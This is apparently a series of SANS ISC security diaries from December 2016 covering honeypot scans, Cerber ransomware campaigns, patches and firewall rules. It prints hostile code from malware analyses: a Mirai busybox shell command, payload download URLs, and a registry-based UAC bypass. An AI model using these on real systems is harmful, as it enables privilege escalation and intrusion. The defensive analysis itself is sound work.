With the rise of botnets like Mirai[1], we have seen a huge increase of port scans to find new open ports like %%port:2323%% or later %%port:6789%%. If the classic %%port:80%% and %%port:23%% remain the most scanned ports, we see new trends almost every week. By the way, thank you to our readers who also report this to the ISC!

This is the traffic detected by my current honeypots:

The honeypots accept connections on ports 80 and 443 and just log attempts performed on other ports.

A few days ago, I deployed a new honeypot that listens to many more ports:

• 21 (FTP)
• 22 (SSH)
• 69 (TFTP)
• 80 (HTTP)
• 123 (NTP)
• 161 (SNMP)
• 445 (SMB)
• 1433 (MSSQL)
• 3389 (RDP)
• 5060 (SIP)
• 5900 (VNC)
• 8080 (Proxy)

For each protocol, the honeypot collects interesting information related to the application (user, password, commands, filename, path, ...) It has been deployed on a brand new system that was unknown before. Here are some results after one week online:

As you can see databases seems to remain a nice target. The MSSQL scans revealed the following users:

With MySQL, the targeted users were:

The NTP scanners issued the "monlist" command to search for NTP servers vulnerable to amplification attacks.

As you can see, there are bots scanning for many protocols. We need to keep an eye on what is happening below the radar. I'm planning to listen to more ports in the coming days. I wish you already a wonderful and safe year 2017!

[1] https://isc.sans.edu/forums/diary/What+is+happening+on+2323TCP/21563
[2] https://www.us-cert.gov/ncas/alerts/TA14-013A

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Following up on yesterday's diary on an increase in Protocol 47 traffic.   Thanks to everyone who sent the ISC PCAPs and more information.

Current speculation is the Protocol 47 uptick is backscatter from a DDOS containing GRE traffic and using random source IPs.  

While all of the packets appear to be IPv4 packets encapsulated in GRE, there are two flavors of packets involved.  The smaller packets are consistently 66 bytes long and contain no data.

The larger packets vary in size, but are typically in the high 500's of bytes and contain 512 bytes of data.  The data appears to be random.

While the sources show IPs from over 50 countries, about 55% of the source IPs in my data were from Taiwan, presumably these IPs are the primary attack targets.  

Top 10 Sources by Country

The majority of those were from IPs associated with Chungwa Telecom (HINET-NET), the largest ISP/Carrier in Taiwan.

Top 20 Sources by IP

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

ISC reader Scott has indicated that starting on December 27th he has seen a significant increase in Protocol 47 traffic being denied by his firewalls.  He has seen this traffic increasing from a baseline of near zero to 20,000 to 50,000 denies per day.  Protocol 47 traffic is not normally tracked by the ISC, so none of our sensors had detected this uptick.  However a little investigation reveals that firewalls I have access to are also seeing this increase. 

Protocol 47 is “GRE” (Generic Route Encapsulation) . It is commonly used as a Virtual Private Network (VPN). Essentially, GRE can be used to encapsulate any other protocol over IPv4. Sometimes it is used for IPv6 tunneling (instead of the more common IPv6 over IPv4, Protocol 41), and some anti-DDoS mitigation systems use it to route “cleaned” traffic.

I am showing this traffic originating from more than 100 unique sources.  I would like to dig deeper into this, but unfortunately I don't have access to packet captures to take a closer look at the traffic.  If you could let us know whether you are seeing the same thing, or better yet, have access to captures of this traffic, and could share it with us, it would be appreciated.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

A while back, I was in need of tapping the traffic going through my Linux gateway and was looking at doing this on the "cheap", meaning to spend as little as possible on a tap to capture everything going from the internal to external and vice versa without having to put in another device (inline tap). After reviewing daemonlogger's [1] capabilities, I realized I could capture the traffic from one of the two interfaces of my gateway and forward a copy to a third interface connected to my packet sniffer.

In my rc.local file, I added the following command to get the software tap to restart each time the gateway was restarted. The configuration is simple, indicate which interface is used for the input (i.e. -i eth0) and where the software tap is located (i.e. -o eth2) by activating tap mode and finally start daemonlogger as a daemon (i.e. -d).

# Starting packet forwarding to from eth0 to eth2 for full packet capture ..."
/usr/local/sbin/daemonlogger -i eth0 -o eth2 -d

[1] https://github.com/vrtadmin/Daemonlogger

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

UPDATE: 28 DEC 2016 - Critical security update for CVE-2016-10045 please update again ASAP. This is in addition to CVE-2016-10033 as fixed in 5.2.18. You should update to 5.2.20 at a minimum.

Vulnerability: PHPMailer < 5.2.20 Remote Code Execution [CVE-2016-10033]

Severity: CRITICAL

ISC recommended action: Patch...now. This is a very popular application, left unpatched it will be exploited.

Finder: Dawid Golunski (@dawid_golunski), https://legalhackers.com

PHPMailer
"Probably the world's most popular code for sending email from PHP!
Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more"

Description
An independent research uncovered a critical vulnerability in PHPMailer that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application.
To exploit the vulnerability an attacker could target common website components such as contact/feedback forms, registration forms, password email resets and others that send out emails with the help of a vulnerable version of the PHPMailer class.

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

Patching
The PHPMailer team has released update 5.2.18 to address this critical security finding.

Changelog: https://github.com/PHPMailer/PHPMailer/blob/master/changelog.md

Clone or download: https://github.com/PHPMailer/PHPMailer

Russ McRee | @holisticinfosec

I am looking for some phishing emails that are using as part of their URL  <something>-my.sharepoint.com/personal/<something>

If have received one of these please send it through to markh.isc at gmail.com  or upload it using the contact form.  

Regards

Mark H

As the year winds down it is time to have a look at the past and make some predictions for the future.  This year saw some large breaches disclosed. Not necessarily perpetrated this year, but made public this year.  We saw IoT devices used in large DDOS attacks as well as some changes in phishing practices, designed for mobile devices and the quick reader.

If anything this year showed us that large organisations get their security wrong, as do smaller ones, as do governments.  Still plenty of work to do for us all.  I think the one surprise to many was the effectiveness of IoT devices as an attack tool.  Hopefully the phrase "nobody would ever try and use our device to do that" will not come up in new product briefings when deciding to leave default passwords or use a 10+ old network stack. In the mean time security researchers are loving the ability to expense all kinds of network connected devices.

So, what will 2017 bring us?  More IoT, that's for sure.  Based on the changes in some phishing techniques, those may become a little bit more effective (more on that in a later diary).  However what else are people seeing in the future of IT security in 2017.  Let us know your predictions.  

Enjoy the holiday period and a safe 2017.

Cheers

Mark H  

A week or two ago reader Norris Carden submitted a malicious document. This document is another "sleeper": it waits a couple of minutes before downloading and executing a malicious payload.

The trick used here is to start a ping command (from VBA macros) that will take several minutes to execute: cmd.exe /C ping 8.8.8.8 -n 250 > nul

This command does 250 pings to Google DNS 8.8.8.8. It will take around 4 minutes and 10 seconds to execute. And after that, the VBA code downloads and executes malware.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
NVISO

It's that time of year again where the technical press starts running security prediction stories for the upcoming year.  I know I've done a few interviews on it already and sure other handlers have as well.  As things wind down for the year, what are your thoughts for what we can expect next year?  Have we hit peak ransomware?  Is election hacking a phase, or will it spread to the upcoming European elections? To what end?  What will be the next big DDoS target that Mirai takes on?

Comment below and let us know what you're thinking will be the "next big thing".

--
John Bambenek
bambenek \at\ gmail /dot/ com
Fidelis Cybersecurity

Early today, a reader reported they were seeing a big spike to inbound tcp/6789 to their honeypots. We have seen similar on DShield's data started on December 17.  It was actually a subject of discussion this weekend and this helpful data from Qihoo's Network Security Research lab attributes the large increase to Mirai, the default-password-compromising malware infected various IoT devices that are internet-connected.  It's hard to see in the graph as it is still not a huge (but still it is significant) portion of Mirai scanning traffic. Here is port-specific graphs from Qihoo as well showing the start time of the spike.  The command the it tries to execute once logged in is:

"`busybox telnetd -p 19058 -l /bin/sh`"

Current intelligence suggests this is an attempt to compromise DaHua devices and establishes a reverse shell on port 19508 if the compromise is successful.  The usual defenses apply here (keep this stuff off the public internet, manufacturer's please stop shipping devices with telnet and default passwords) but the amount of potential bandwidth Mirai operators have under their control could potentially swamp even the most robust DDoS defenses. 

Let us know if you see other interesting behavior and feel free to update your honeypots to capture some of the attack code if you can.

UPDATE 21 Dec 2016 @ 1623 UTC: In the last 24 hours another shift has been detected now going after port 23231.

--
John Bambenek
bambenek \at\ gmail /dot/ com
Fidelis Cybersecurity

In my last post, I mapped controls to stop a malicious doc calling out via Powershell.  I’m now going to cover how using the Windows firewall can stop the attack chain. Windows firewall can be used to limit the application from making connections. In the attack chain, this means that the user got the malicious document, opened it, the macro ran, and the Powershell script failed to pull down additional malware.

If you block all network connections for Powershell, it should look like this

Powershell        All    Yes    Block    No    %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe    Any    Any    Any    Any    Any    Any    Any    Any    Any    

Powershell2        All    Yes    Block    No    %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe    Any    Any    Any    Any    Any    Any    Any    Any    Any    

To test, I tried downloading Wireshark using PowerShell with the same call the malware used

>cmd /c PowerShell (New-Object System.Net.Webclient).DownloadFile('http://2.na.dl.wireshark.org/win64/Wireshark-win64-2.2.2.exe','%TMP%\tom.exe');

Exception calling "DownloadFile" with "2" argument(s): "Unable to connect to the remote server"

At line:1 char:1

+ (New-Object System.Net.Webclient).DownloadFile('http://2.na.dl.wiresh ...

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException

   + FullyQualifiedErrorId : WebException

If you want to allow local communication for these, then you have to turn on the Default Outgoing Policy and create Allow rules.  The windows firewall always processes the Deny first. A kind of work around is to block specific outbound ports.  So you could block 80,443,and 8080 (see Below). Or better yet, you could block everything except the couple of ports you need (135,139,445).  If you use Powershell just to call another application that then makes the connection, then you should be able to block everything.

Powershell2        All    Yes    Block    No    %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe    Any    Any    TCP    Any    443, 80, 8080    Any    Any    Any    Any    

This process should work for wscript and cscript also.

--

Tom Webb

@twsecblog

It is that time of year again. It is the holiday season with presents under the tree.  Some of those presents are bound to be electronic.  Whether they are PC’s, Mac’s, cellular phones, gaming systems or one of the new electronic gadgets like Alexa/Google devices, digital frames, security camera’s, and other wireless devices. These may open a security hole in your network. Each of these devices require a little thought about how they will affect your network.

The first thing that every network, whether home or work, should have is a good well configured firewall. Your firewall can protect unwanted advances to your critical network assets.  With a strong password and all of the updates in place the firewall will be your first line of defense.

All of the other devices behind the firewall will get some protection. As the devices are added to your network you need to further secure your network by doing the Security updates from the vendors, using strong passwords and using appropriate security software and antivirus/anti-malware software.  Make sure that any applications that you are using are getting updated as the manufacturer makes them available.

You can further protect your data by doing a backup of all of the critical data.  Whether you use an offsite backup like Carbon Copy or IDrive, or an external device (hard drive or thumb drive) you need to protect your data.  Backing up your machine regularly can protect you from the unexpected. Keep a few months' worth of backups and make sure the files can be retrieved if needed.

One of the most important things to remember, use safe practices while online. There are so many exploits on the Internet that try to “trick” you into falling into their trap. You need to protect yourself from these bad guys.  Ignore unsolicited emails, and be wary of attachments, links and forms in emails that come from people you don't know and from people you do know that seem "phishy." Be careful what websites you visit. Avoid untrustworthy (often free) downloads from freeware or shareware sites. Social networking sites as well as a lot of the news sites have open compromises on their sites.  Don’t click on links or download software from these sites.  Be careful when watching videos or other active content because they as well can contain hidden dangers.

I would like to hear from our readers.  What tips do you have for this holiday season?

Deb Hale

Introduction

"One, if by land, and two, if by sea" is a phrase used by American poet Henry Wadsworth Longfellow in his poem "Paul Revere's Ride" first published in 1861.  Longfellow's poem tells a somewhat fictionalized tale of Paul Revere in 1775 during the American revolution.  If British troops came to attack by land, Paul would hang one lantern in a church tower as a signal light.  If British troops came by sea, Paul would hang two lanterns.

Much like the British arriving by land or by sea, Cerber ransomware has two main routes from which to rob your critical data of its independence.  The first and most widely-used route is through email or malicious spam (malspam).  The second route is through exploit kits (EKs).

Am I comparing colonial era British troops to Cerber ransomware in our current cyber landscape?  You bet I am!  Is it an accurate comparison?  Probably not!

Nonethless, when I think of Cerber, I often think "One, if by email, Two, if by exploit kit."

Yesterday's diary reviewed Cerber through email, so I've already hung that lantern.  Today I'll hang another lantern as we look at examples of Cerber ransomware through EKs.

Background

As I've discussed before, EKs are merely a method to distribute malware.  Criminal groups establish campaigns utilizing EKs to distribute their malware.  I often see indicators of campaigns that use Magnitude EK or Rig EK to distribute Cerber ransomware.

In my lab environment, I generally don't generate much Magnitude EK.  Why?  Because Magnitude usually happens through a malvertising campaign, and that's quite difficult to replicate.  By the time any particular malvertisement's indicators are known, the criminals have moved to a new malvertisement.

Since early October 2016, I've typically seen Cerber ransomware from the pseudoDarkleech campaign using Rig EK.  PseudoDarkleech currently uses a variant of Rig EK that researcher Kafeine has designated as Rig-V, because it's a "vip" version that's evolved from the old Rig EK.

EITest is another major campaign that utilizes EKs to distribute malware.  Although EITest distributes a variety of malware, I'll occasionally see Cerber sent by this campaign.

On Thursday 2016-12-15, I generated two examples of EK-based campaigns delivering Cerber ransomware.  One was from the pseudoDarkleech campaign, and the other was from EITest.  Both campaigns used Rig-V to distribute Cerber.

Shown above:  Flow chart for both infections.

The traffic

Both pseudoDarkleech and EITest use legitimate websites to kick off an infection chain.  These websites are compromised, and if conditions are right, pages from these compromised sites have injected script.  The injected script generates an iframe with an EK landing page URL.  Each campaign has distinct patterns of injected script.  In both cases, the EK landing page was a URL for Rig-V.

Shown above:  PseudoDarkleech script pointing to Rig-V on 2016-12-15.

Shown above:  EITest script pointing to Rig-V on 2016-12-15.

Looking at the infection traffic in Wireshark, you'll find Rig-V with different domain names, but the same IP address both times.  For both infections, I could not reach the page for the Cerber decryption instructions.  The server didn't respond, and no HTTP traffic was generated by the Cerber ransomware.

Shown above:  First infection (pseudoDarkleech) Rig-V on 2016-12-15.

Shown above:  Second infection (EITest) Rig-V on 2016-12-15.

Traffic patterns for Rig-V and Cerber haven't changed much since my previous diary covering the pseudoDarkleech campaign on 2016-10-14.  Only the domains and IP addresses are different.

The infected Windows desktop

Below is an image of the desktop from an infected Windows host.  These samples of Cerber dropped an image to the desktop along with an .hta file containing the decryption instructions.  File extensions used for the encrypted files by both samples of Cerber were .8637 (just like yesterday).

Shown above:  My copies of poems by Henry Wadsworth Longfellow...  All gone!

Indicators of Compromise (IOCs)

The following are IOCs for the infection traffic I generated:

• 195.133.49.182 port 80 - hit.thincoachmd.com - Rig-V from the EITest campaign
• 195.133.49.182 port 80 - new.slimcoachmd.com - Rig-V from the pseudoDarkleech campaign
• 1.11.32.0 to 1.11.32.31 (1.11.32.0/27) UDP port 6892 - Cerber post-infection UDP traffic
• 55.15.15.0 to 55.15.15.31 (55.15.15.0/27) UDP port 6892 - Cerber post-infection UDP traffic
• 194.165.16.0 to 194.165.17.255 (194.165.16.0/23) UDP port 6892 - Cerber post-infection UDP traffic
• 185.45.192.155 port 80 - ftoxmpdipwobp4qy.19dmua.top - attempted HTTP connections by Cerber from pseudoDarkleech campaign
• 185.45.192.155 port 80 - ffoqr3ug7m726zou.19dmua.top - attempted HTTP connections by Cerber from EITest campaign

The following are file hashes and other info for the Flash exploit and Cerber ransomware:

File description:  Rig-V Flash exploit seen on 2016-12-15

• SHA256 hash:  df65f65dc15cfa999f07869b587c74c645da66129c009db5d8b8c2c29ae4fadf
• File size:  14,094 bytes

File description:  Cerber ransomware sent by Rig-V from the pseudoDarkleech campaign on 2016-12-15

• SHA256 hash:  4e877be5523d5ab453342695fef1d03adb854d215bde2cff647421bd3d583060
• File size:  252,967 bytes
• File path:  C:\Users\[username]\AppData\Local\Temp\rad8AA1F.tmp.exe

File description:  Cerber ransomware sent by Rig-V from the EITest campaign on 2016-12-15

• SHA256 hash:  0e395c547547a79bd29280ea7f918a0559058a58ffc789940ceb4caf7a708610
• File size:  245,715 bytes
• File path:  C:\Users\[username]\AppData\Local\Temp\rad8DE79.tmp.exe

Final words

Pcap and malware for this diary can be found here.

As always, properly-administered Windows hosts are not likely to be infected by pseudoDarkleech, EITest, and other campaigns.  As long as your Windows host is up-to-date and fully patched, your risk is minimal.  If you're running Windows 10, you have little to worry about.

Disabling Flash player, not using Internet Explorer, and running addons like NoScript are also options to help prevent infections from these EK-based campaigns.

Listen, my children, and you shall hear
Of an incident responder named Paul Revere,
On the 15th of December, in 2016;
Hardly a person is now alive
Who cares to remember that routine day and year.

Paul said to his friend, "If the ransomware march
By email or EK from the Internet to-night,
Hang a lantern aloft in the IDS appliance
For the SIEM panel to project as a signal light,--
One, if by email, and two, if by EK;
And I on the opposite shore will be,
Ready to respond and spread the alarm
Through every IT department and server farm,
For the company's folk to be up and to arm."

Shown above:  What really happened with Paul the incident responder.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Introduction

Last month on 2016-11-22, I saw 10 items of malicious spam (malspam) sent to my spam folder.  The messages all had links to malware.  Unfortunately, by the time I examined those emails, the links were no longer active.  I sent a tweet about it and moved on to other things [1].

Flash forward to this week.  On Tuesday 2016-12-13, @malwrhunterteam noticed the same type of malspam [2].  I checked my spam folder and found another four similar messages.  This time, the links were still active, and I generated a full chain of infection traffic.  That wave of malspam distributed Cerber ransomware.

The very next day on Wednesday 2016-12-14, I noticed another two messages in my spam folder with the same characteristics using a different domain.  This wave of malspam also distributed Cerber ransomware.

Today's diary looks at indicators from these three waves of malspam.  Perhaps we can get a better idea of the actor behind this activity.

Chain of events

The four emails from 2016-12-13 have links that downloaded a .js file.  In my lab environment, double-clicking the .js file downloaded and installed Cerber ransomware.  The two emails from 2016-12-14 have a link for a Microsoft Word document.  The Word document has a malicious macro.  In my lab environment, enabling the macro also downloaded and installed Cerber ransomware.

Shown above:  Chain of events for both days.

The emails

Shown above:  Data on the malspam (part 1 of 2).

Shown above:  Data on the malspam (part 2 of 2).

Below are the recipient email addresses in the malspam I received during all three waves:

• account@[your domain name]
• accounts@[your domain name]
• admin@[your domain name]
• ceo@[your domain name]
• director@[your domain name]
• hr@[your domain name]
• marketing@[your domain name]
• sales@[your domain name]
• service@[your domain name]
• support@[your domain name]

Below are the subject lines I saw for each of the three waves:

• 2016-11-22 - Subject: Domain Abuse Notice: [your domain name]
• 2016-12-13 - Subject: Final Domain Abuse Notice: [your domain name]
• 2016-12-14 - Subject: Third Invoice Overdue Notice for [your domain name]

For each wave I saw, the emails all came from the same mail server.  These servers also hosted the malicious links within the malspam.  The servers were:

• 2016-11-22 - 37.61.222.141 - mail.domaincop.org
• 2016-12-13 - 104.223.81.29 - mail.domaincop247.com
• 2016-12-14 - 104.223.81.234 - mail.ccnotice.net

Based on the domain names and IP addresses, the criminals likely abused commercially available services.  Below is the registration info and date registered for each domain.

• First wave domain Name:  domaincop.org
• Sponsoring registrar:  Namesilo, LLC
• Date registered (creation date):  2016-11-22
• Date I received the malspam:  2016-11-22

• Second wave domain Name:  domaincop247.com
• Registrar:  eNom, Inc  (Reseller: Namecheap.Com)
• Date registered (creation date):  2016-11-30
• Date I received the malspam:  2016-12-13

• Third wave domain name:  ccnotice.net
• Registrar:  eNom, Inc  (Reseller: Namecheap.Com)
• Date registered (creation date):  2016-12-12
• Date I received the malspam:  2016-12-14

All domains used a privacy guard service for the registration info, and all domains used name servers from cloudflare.com.  Below is information on the IP addresses hosting the malspam domains:

• First wave:  37.61.222.141 - Germany: velia.net Internetdienste GmbH
• Second wave:  104.223.81.29 - US: Quadranet, Inc
• Third wave:  104.223.81.234 - US: Quadranet, Inc

Links from the emails were unique for each email during the first two waves.  The two messages from third wave I saw on 2016-12-14 had the same URL that led directly to a Word document.

Shown above:  Links from the emails.

For details, see the spreadsheet available here.

Traffic

In both waves I have traffic for, the same URL for the Cerber ransomware executable was generated, whether it was the .js file from 2016-12-13 or the .doc macro from 2016-12-14.  Below are images from the pcaps of the traffic in Wireshark that help illustrate the chain of events.

Shown above:  .js file from 2016-12-13 getting the Cerber executable.

Shown above:  .doc macro from 2016-12-14 getting the Cerber executable.

The ransomware was different each day, each with a different file hash, and each with different IP addresses and domains during the post-infection traffic.  Both Cerber samples had .8637 for the file extension in the files they encrypted.

Shown above:  Windows desktop from the 2016-12-13 infection.

Below are indicators of compromise (IOCs) for traffic generated from the 2016-12-13 wave of malspam:

• 104.28.11.141 port 80 - www.domaincop247.com - various GET requests redirect to next URL
• 104.28.10.141 port 80 - report.domaincop247.com - GET /view/download.php?download_file=Domain_Abuse_Report_Viewer.js
• 185.153.198.117 port 80 - ggjghhfhfh.com - GET /kqaer2c56ds34caq12/file.exe
• 15.49.2.0 to 15.49.2.31 (15.49.2.0/27) UDP port 6892 - Cerber post-infection UDP traffic
• 122.1.13.0 to 122.1.1331 (122.1.13.0/27) UDP port 6892 - Cerber post-infection UDP traffic
• 194.165.16.0 to 194.165.17.255 (194.165.16.0/23) UDP port 6892 - Cerber post-infection UDP traffic
• 37.10.71.202 port 80 - ftoxmpdipwobp4qy.1mznhc.top - Cerber post-infection HTTP traffic

Below are IOCs for traffic generated from the 2016-12-14 wave of malspam:

• 185.153.198.117 port 80 - view.ccnotice.net - GET /clients/Invoice_349KL.doc
• 185.153.198.117 port 80 - ggjghhfhfh.com - GET /kqaer2c56ds34caq12/file2.exe
• 1.11.32.0 to 1.11.32.31 (1.11.32.0/27) UDP port 6892 - Cerber post-infection UDP traffic
• 55.15.15.0 to 55.15.15.31 (55.15.15.0/27) UDP port 6892 - Cerber post-infection UDP traffic
• 194.165.16.0 to 194.165.17.255 (194.165.16.0/23) UDP port 6892 - Cerber post-infection UDP traffic
• 185.45.192.155 port 80 - ffoqr3ug7m726zou.19dmua.top - Cerber post-infection HTTP traffic

Below is information for the associated .js file, .doc file, and Cerber ransomware executables:

File name:  Domain_Abuse_Report_Viewer.js

• File size:  9,032 bytes
• SHA256 hash:  12c72ccf0b64bc1b288c80e3ba8eb18bc88967264ca3ad392992354be9b51eb9

File description:  Cerber downloaded by .js file from ggjghhfhfh.com on 2016-12-13

• File location:  C:\Users\[username]\appdata\Local\Temp\ixjobi7na.exe
• File size:  255,018 bytes
• SHA256 hash:  5e396520da517174e5556e5b2c3b6e6ff25214c083e4458248f1be2e89967c65

File name:  Invoice_349KL.doc

• File size:  206,120 bytes
• SHA256 hash:  12c72ccf0b64bc1b288c80e3ba8eb18bc88967264ca3ad392992354be9b51eb9

File description:  Cerber downloaded by Word macro from ggjghhfhfh.com on 2016-12-14

• File location:  C:\Users\[username]\Desktop\error.bat (or whatever directory the Word doc was opened in)
• File size:  262,111 bytes
• SHA256 hash:  5e396520da517174e5556e5b2c3b6e6ff25214c083e4458248f1be2e89967c65

Final words

A copy of the infection traffic, associated emails, malware, and artifacts can be found here.

Other people have noticed these malspam runs, and they've gotten some public attention through various blogs [3, 4, 5].  They never last long.  I assume that's because the associated IOCs are reported fairly quickly, and the emails I've seen always get flagged as spam.

Fortunately, best security practices will help prevent infections like the ones in today's diary.  A good email filtering system, properly administered Windows hosts, and an educated workforce mean users are much less likely to be infected.

Nonetheless, I assume this activity is somehow profitable for the people behind it.  The criminals must be having some sort of success with these Cerber ransomware malspam runs.  Why else would it keep happening?

---
Brad Duncan
brad [at] malware-traffic-analysis.net

[1] https://twitter.com/malware_traffic/status/801330398370418688
[2] https://twitter.com/malwrhunterteam/status/808752888063332352
[3] https://www.namepros.com/threads/these-domaincop-idiots-are-at-it-again.989576/
[4] https://www.blackmoreops.com/2016/11/23/domaincop-org-domain-abuse-notice-spam/
[5] http://onlinedomain.com/2016/11/22/domain-name-news/spamscam-email-domaincop-net-targeting-domain-name-website-owners/

December Patch Tuesday ISC Link: https://isc.sans.edu/mspatchdays.html?viewday=2016-12-13

MS16-144

Woha, patch now on clients! Servers might need emergency procedures (depending upon internal governance). There are known exploits and anytime we read “Scripting Engine?” that just does not bode well, for Internet Explorer.

MS16-145

Another patch now for clients, scripting engines seem to not be getting a break here. Similar in nature it seems, Edge also has some vulnerabilities in memory handling that could possibly lead to code execution. Let’s patch those browsers!

MS16-146

Pictures, Images, JPGs oh my… Another reason to scramble, it seems the graphics engine is exploitable and again with known and reported exploits. This one is also a patch now for clients. Servers hopefully don’t browse the internet *cough cough* but should be patched according to internal critical governance, or in other words “Don’t forget your servers!”

MS16-147

Well, had to go look this one up *asks what Uniscribe is* and it had API + Scripting in the function description [1]. There are not any “know” or published exploits that we are aware of on this one, however the dreaded “Remote Code Execution” is in the bulletin, so patch…

MS16-148

Office 2007 – 2016, again, no published exploits that we are aware of, however a broad spectrum of Office suites on this one. The bulletins do include “Remote Code Execution” in the for some of this roll-up. Patch.. Interestingly this handler was met with requests to patch on his home systems J

MS16-149

This one is correcting crypto handling and preventing privilege escalation. Compared to the above this one might be able to take a back set temporarily. 

MS16-150

​More privilege escalation correction, this patch updates kernel handling. It looks like this one would need a specially crafted application local on the system, so a bit further down the attack cycle.

MS16-151

​Getting a sense of entitlement here as MS16-151 is another privilege escalation patch. Anytime 'drivers' are involved this handler always takes a deeper look, however again, it seems an attacker would need a specially crafted program to hit on this vulnerability.

MS16-152

Here we are presented with possible information disclosure from the kernel. Listed as important and no known or published exploits. Correcting the way the kernel handles memory objects is always a good thing in this handlers book.

MS16-153

Logging information disclosure but with an interesting nugget at the top of the brief? "In a local attack scenario, an attacker could exploit this vulnerability by running a specially crafted application to bypass security measures on the affected system allowing further exploitation.[2]"

MS16-154

Patch for Adobe Flash, critical, flash is everywhere... so goes without saying but we will say it anyway "Patch as a critical update!"

MS16-155

Read up on this one, it is .Net related. Seems isolated to a specific version, 4.6.2, however limited to information disclosure. It should be noted that known exploits exist.

We will update this diary as issues or more information is sent in. If anyone experiences any issues patching, let us know! 

[1] https://msdn.microsoft.com/en-us/library/windows/desktop/dd374091(v=vs.85).aspx

​[2] https://technet.microsoft.com/en-us/library/security/MS16-153

Richard Porter

@packetalien, @packetmonk

--- ISC Handler on Duty

Yesterday, one of our readers sent us a malicious piece of JScript: doc2016044457899656.pdf.js.js. It's always interesting to have a look at samples coming from alternate sources because they may slightly differ from what we usually receive on a daily basis. Only yesterday, my spam trap collected 488 ransomware samples from the different campaigns but always based on the same techniques.

The JScript code was, of course, obfuscated but it was easily read by a human. Usually, there is no need to implement complex obfuscation to bypass AV detection. This sample had a score of 8/54 on VT. What was different? First of all, it just tries to download two files from a remote server:

• hxxp://45.58.49.54/7za.exe
• hxxp://45.58.49.54/process.zip

The bad guy was lazy (or smart?) and did not implement complex encryption functions in his code. 7za.exe[1] is a clean file (42badc1d2f03a8b1e4875740d3d49336) used to extract two malicious PE files from the process.zip archive. This archive is protected by a password that is stored and obfuscated in the code. The obfuscation technique is simple: just based on strings of hexadecimal characters:

var AACRSODLXACCGDOLOSOX = LXCTAOHOHSYOAASHNDCA("6D696E617331303030");

This can be easily decoded with Python:

>>> '6D696E617331303030'.decode('hex')
'minas1000'

The destination path is generated via multiple variables and is finally set to "C:\Users\[user]\AppData\Local\", "user" being the victim's login. The archive is unzipped in this directory:

C:\Users\[user]\AppData\Local\7za.exe x C:\Users\[user]\AppData\Local\COCNOACTXATASGNOTOAS -pminas1000 -o C:\Users\[user]\AppData\Local\

Two new PE files are stored on the file system then executed:

• processexplorerpe.exe (55c0548290a5dc43bc54a6a15ccd42fd) [2]
• peprocesss.exe (6b96e8a9c13966086b1e2dd65ac84656) [3]

What makes this sample different? After the classic execution of the PE files, it tries to bypass the Windows UAC using a "feature" present in eventvwr.exe. This system tool runs as a high integrity process and uses HKCU / HKCR registry hives to start mmc.exe which opens finally eventvwr.msc. More information about this behaviour is available on the Microsoft website[4].

The trick is to create the registry entry that is checked by eventvwr.exe and to store the malicious binary ("ODASTATACOTSTAODHOOD" is the path to the malicious peprocess.exe):

var WshShell = WScript.CreateObject ("WScript.Shell");
WshShell.RegWrite ("HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\\", ODASTATACOTSTAODHOOD, "REG_SZ");

Once done, eventvwr.exe is started. It will read the registry and execute our sample which will run with high privileges:

var ZLGOZYLOLHONHTXTAOOR = environmentVars("WINDIR") + "\\SYSTEM32\\"+"eventvwr.exe";
AAOGAODYSCSTSOAOLHAC = new ActiveXObject("Wscript.Shell");
AAOGAODYSCSTSOAOLHAC.Run(ZLGOZYLOLHONHTXTAOOR, 1, 1);

Let's wait for the malware to accomplish its bad stuff and remove the registry entry:

WScript.Sleep(60000);
var wshShell = new ActiveXObject("WScript.Shell");
wshShell.Run("REG DELETE HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /ve /f");

More information about this technique to bypass UAC is available on github.com[5] with a PoC script in Powershell.

If you receive interesting samples, feel free to share them! We always need fresh meat!

[1] http://www.7-zip.org/download.html
[2] https://www.virustotal.com/en/file/305fe0e8e8753dd2bf79fd349760b5c83d75097becc98a541b489bd5456b7b5e/analysis/
[3] https://www.virustotal.com/en/file/7b1f0831ea6943fb1f2a2714f71b16c890baf15c985833e0a590fe6545c7e16f/analysis/
[4] https://msdn.microsoft.com/en-us/library/bb742441.aspx
[5] https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

https://isc.sans.edu/mspatchdays.html?viewday=2016-12-13

== Update

Thank you to our reader who caught the incorrect link. We at the ISC do not have a time machine.  Summary out shortly.

~Richard

This year shapes up to become the year that IoT exploits started to become "mainstream news." Mirai, car hacking, and ubiquitous router exploits are now being discussed outside security conferences. One question that comes up from time to time is what a "minimum standard" could look like for IoT security. Today, default passwords and basic web application security flaws are the number one issue. But we all know that as one vulnerability is being patched, two more are discovered. Asking vendors to deliver a "vulnerability free" product is not realistic. So what should we ask our vendors?

1 - For how long, after I purchase a device, should I expect security updates?

